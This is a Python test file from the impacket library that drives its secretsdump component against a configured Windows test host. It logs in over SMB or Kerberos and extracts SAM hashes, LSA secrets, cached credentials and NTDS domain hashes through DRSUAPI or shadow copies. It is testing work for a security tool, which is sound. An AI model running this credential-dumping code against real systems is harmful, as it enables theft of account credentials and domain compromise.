github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/tests/SMB_RPC/test_secretsdump.py (about) 1 try: 2 import ConfigParser 3 except ImportError: 4 import configparser as ConfigParser 5 import logging 6 import os 7 import unittest 8 9 from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes 10 from impacket.smbconnection import SMBConnection 11 12 def _print_helper(*args, **kwargs): 13 try: 14 print(args[-1]) 15 except UnicodeError: 16 pass 17 18 class DumpSecrets: 19 def __init__(self, remoteName, username='', password='', domain='', options=None): 20 self.__useVSSMethod = options.use_vss 21 self.__remoteName = remoteName 22 self.__remoteHost = options.target_ip 23 self.__username = username 24 self.__password = password 25 self.__domain = domain 26 self.__lmhash = '' 27 self.__nthash = '' 28 self.__aesKey = options.aesKey 29 self.__smbConnection = None 30 self.__remoteOps = None 31 self.__SAMHashes = None 32 self.__NTDSHashes = None 33 self.__LSASecrets = None 34 self.__systemHive = options.system 35 self.__bootkey = options.bootkey 36 self.__securityHive = options.security 37 self.__samHive = options.sam 38 self.__ntdsFile = options.ntds 39 self.__history = options.history 40 self.__noLMHash = True 41 self.__isRemote = True 42 self.__outputFileName = options.outputfile 43 self.__doKerberos = options.k 44 self.__justDC = options.just_dc 45 self.__justDCNTLM = options.just_dc_ntlm 46 self.__justUser = options.just_dc_user 47 self.__pwdLastSet = options.pwd_last_set 48 self.__printUserStatus= options.user_status 49 self.__resumeFileName = options.resumefile 50 self.__canProcessSAMLSA = True 51 self.__kdcHost = options.dc_ip 52 self.__options = options 53 54 if options.hashes is not None: 55 self.__lmhash, self.__nthash = options.hashes.split(':') 56 57 def connect(self): 58 self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) 59 if self.__doKerberos: 60 self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, 61 self.__nthash, self.__aesKey, self.__kdcHost) 62 else: 63 self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 64 65 def dump(self): 66 try: 67 if self.__remoteName.upper() == 'LOCAL' and self.__username == '': 68 self.__isRemote = False 69 self.__useVSSMethod = True 70 if self.__systemHive: 71 localOperations = LocalOperations(self.__systemHive) 72 bootKey = localOperations.getBootKey() 73 if self.__ntdsFile is not None: 74 # Let's grab target's configuration about LM Hashes storage 75 self.__noLMHash = localOperations.checkNoLMHashPolicy() 76 else: 77 import binascii 78 bootKey = binascii.unhexlify(self.__bootkey) 79 80 else: 81 self.__isRemote = True 82 bootKey = None 83 try: 84 try: 85 self.connect() 86 except Exception as e: 87 if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: 88 # SMBConnection failed. That might be because there was no way to log into the 89 # target system. We just have a last resort. Hope we have tickets cached and that they 90 # will work 91 logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) 92 pass 93 else: 94 raise 95 96 self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) 97 self.__remoteOps.setExecMethod(self.__options.exec_method) 98 if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: 99 self.__remoteOps.enableRegistry() 100 bootKey = self.__remoteOps.getBootKey() 101 # Let's check whether target system stores LM Hashes 102 self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() 103 except Exception as e: 104 self.__canProcessSAMLSA = False 105 if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ 106 and self.__doKerberos is True: 107 # Giving some hints here when SPN target name validation is set to something different to Off 108 # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ 109 logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') 110 else: 111 logging.error('RemoteOperations failed: %s' % str(e)) 112 113 # If RemoteOperations succeeded, then we can extract SAM and LSA 114 if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: 115 try: 116 if self.__isRemote is True: 117 SAMFileName = self.__remoteOps.saveSAM() 118 else: 119 SAMFileName = self.__samHive 120 121 self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) 122 self.__SAMHashes.dump() 123 if self.__outputFileName is not None: 124 self.__SAMHashes.export(self.__outputFileName) 125 except Exception as e: 126 logging.error('SAM hashes extraction failed: %s' % str(e)) 127 128 try: 129 if self.__isRemote is True: 130 SECURITYFileName = self.__remoteOps.saveSECURITY() 131 else: 132 SECURITYFileName = self.__securityHive 133 134 self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, 135 isRemote=self.__isRemote, history=self.__history) 136 self.__LSASecrets.dumpCachedHashes() 137 if self.__outputFileName is not None: 138 self.__LSASecrets.exportCached(self.__outputFileName) 139 self.__LSASecrets.dumpSecrets() 140 if self.__outputFileName is not None: 141 self.__LSASecrets.exportSecrets(self.__outputFileName) 142 except Exception as e: 143 if logging.getLogger().level == logging.DEBUG: 144 import traceback 145 traceback.print_exc() 146 logging.error('LSA hashes extraction failed: %s' % str(e)) 147 148 # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work 149 if self.__isRemote is True: 150 if self.__useVSSMethod and self.__remoteOps is not None: 151 NTDSFileName = self.__remoteOps.saveNTDS() 152 else: 153 NTDSFileName = None 154 else: 155 NTDSFileName = self.__ntdsFile 156 157 self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, 158 noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, 159 useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, 160 pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, 161 outputFileName=self.__outputFileName, justUser=self.__justUser, 162 printUserStatus= self.__printUserStatus) 163 try: 164 self.__NTDSHashes.dump() 165 except Exception as e: 166 if logging.getLogger().level == logging.DEBUG: 167 import traceback 168 traceback.print_exc() 169 if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: 170 # We don't store the resume file if this error happened, since this error is related to lack 171 # of enough privileges to access DRSUAPI. 172 resumeFile = self.__NTDSHashes.getResumeSessionFile() 173 if resumeFile is not None: 174 os.unlink(resumeFile) 175 logging.error(e) 176 if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: 177 logging.info("You just got that error because there might be some duplicates of the same name. " 178 "Try specifying the domain name for the user as well. It is important to specify it " 179 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") 180 elif self.__useVSSMethod is False: 181 logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') 182 self.cleanup() 183 except (Exception, KeyboardInterrupt) as e: 184 if logging.getLogger().level == logging.DEBUG: 185 import traceback 186 traceback.print_exc() 187 logging.error(e) 188 if self.__NTDSHashes is not None: 189 if isinstance(e, KeyboardInterrupt): 190 while True: 191 answer = input("Delete resume session file? [y/N] ") 192 if answer.upper() == '': 193 answer = 'N' 194 break 195 elif answer.upper() == 'Y': 196 answer = 'Y' 197 break 198 elif answer.upper() == 'N': 199 answer = 'N' 200 break 201 if answer == 'Y': 202 resumeFile = self.__NTDSHashes.getResumeSessionFile() 203 if resumeFile is not None: 204 os.unlink(resumeFile) 205 try: 206 self.cleanup() 207 except: 208 pass 209 210 def cleanup(self): 211 try: 212 logging.info('Cleaning up... ') 213 if self.__remoteOps: 214 self.__remoteOps.finish() 215 if self.__SAMHashes: 216 self.__SAMHashes.finish() 217 if self.__LSASecrets: 218 self.__LSASecrets.finish() 219 if self.__NTDSHashes: 220 self.__NTDSHashes.finish() 221 except Exception as e: 222 if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0: 223 raise 224 225 class Options(object): 226 aesKey=None 227 bootkey=None 228 dc_ip=None 229 debug=False 230 exec_method='smbexec' 231 hashes=None 232 history=False 233 just_dc=False 234 just_dc_ntlm=False 235 just_dc_user=None 236 k=False 237 no_pass=False 238 ntds=None 239 outputfile=None 240 pwd_last_set=False 241 resumefile=None 242 sam=None 243 security=None 244 system=None 245 target='' 246 target_ip='' 247 use_vss=False 248 user_status=False 249 250 class SecretsDumpTests(unittest.TestCase): 251 def test_VSS_History(self): 252 options = Options() 253 options.target_ip = self.machine 254 options.use_vss = True 255 options.history = True 256 dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options) 257 dumper.dump() 258 259 def aaaa_VSS_WMI(self): 260 options = Options() 261 options.target_ip = self.machine 262 options.use_vss = True 263 options.exec_method='wmiexec' 264 dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options) 265 dumper.dump() 266 267 def test_DRSUAPI_DC_USER(self): 268 options = Options() 269 options.target_ip = self.machine 270 options.use_vss = False 271 options.just_dc = True 272 options.just_dc_user = '%s/%s' % (self.domain.split('.')[0], 'Administrator') 273 dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options) 274 dumper.dump() 275 276 def aaaa_VSS_MMC(self): 277 options = Options() 278 options.target_ip = self.machine 279 options.use_vss = True 280 options.exec_method='mmcexec' 281 dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options) 282 dumper.dump() 283 284 def test_DRSUAPI(self): 285 options = Options() 286 options.target_ip = self.machine 287 options.use_vss = False 288 dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options) 289 dumper.dump() 290 291 class Tests(SecretsDumpTests): 292 def setUp(self): 293 SecretsDumpTests.setUp(self) 294 # Put specific configuration for target machine with SMB1 295 configFile = ConfigParser.ConfigParser() 296 configFile.read('dcetests.cfg') 297 self.username = configFile.get('SMBTransport', 'username') 298 self.domain = configFile.get('SMBTransport', 'domain') 299 self.serverName = configFile.get('SMBTransport', 'servername') 300 self.password = configFile.get('SMBTransport', 'password') 301 self.machine = configFile.get('SMBTransport', 'machine') 302 self.hashes = configFile.get('SMBTransport', 'hashes') 303 self.aesKey = configFile.get('SMBTransport', 'aesKey128') 304 305 if __name__ == "__main__": 306 suite = unittest.TestLoader().loadTestsFromTestCase(Tests) 307 unittest.TextTestRunner(verbosity=1).run(suite)